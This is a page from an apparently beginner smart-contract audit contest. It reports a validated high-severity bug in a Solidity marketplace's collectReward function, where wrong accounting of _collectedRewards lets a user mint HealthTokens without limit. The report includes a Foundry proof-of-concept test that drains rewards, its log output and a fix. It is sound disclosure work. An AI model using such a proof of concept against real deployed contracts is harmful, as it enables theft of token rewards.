First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] Wrong accounting of `_collectedRewards` allows a user that holds 6 `martenitsaToken` to mint an indefinite amount of `HealthToken` via `MartenitsaMarketplace::collectReward` function.

Keyword

[H-2] Wrong accounting of MartenitsaMarketplace::_collectedRewards allows a user that holds 6 martenitsaToken to mint an indefinite amount of HealthToken via MartenitsaMarketplace::collectReward function.

Description: The MartenitsaMarketplace::collectReward function is supposed to allow users to collect 1 HealthToken for every 3 different MartenitsaTokens that they hold. If a user gets 6 tokens, they will be able to call collectRewards as many times as they want, and they will continue to receive HealthTokens.

Impact: A malicious user can mint an indefinite amount of HealthTokens.

Proof of Concepts: Paste this test inside MartenitsaMarketplace.t.sol file.

Proof of Code
function testCollectReward() public eligibleForReward {
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
uint256 balance = healthToken.balanceOf(bob);
console2.log("Bob's balance is", balance);
assert(balance == 10 ** 18);
vm.startPrank(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
marketplace.collectReward();
uint256 balance2 = healthToken.balanceOf(bob);
console2.log("Bob's balance is", balance2);
marketplace.collectReward();
uint256 balance3 = healthToken.balanceOf(bob);
console2.log("Bob's balance is", balance3);
marketplace.collectReward();
uint256 balance4 = healthToken.balanceOf(bob);
console2.log("Bob's balance is", balance4);
marketplace.collectReward();
uint256 balance5 = healthToken.balanceOf(bob);
console2.log("Bob's balance is", balance5);
}

Test output

Logs:
Bob's balance is 1000000000000000000
Bob's balance is 2000000000000000000
Bob's balance is 3000000000000000000
Bob's balance is 4000000000000000000
Bob's balance is 5000000000000000000

Recommended mitigation: Increase the value of MartenitsaMarketplace::_collectedRewards mapping after each function call instead of setting it to be = amountRewards. Like this, the logic will also account for the past claims. Right now it is off by 1.

function collectReward() external {
//..
//..
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}

Tools used: Manual review

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

_collectedRewards is not updated correctly

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.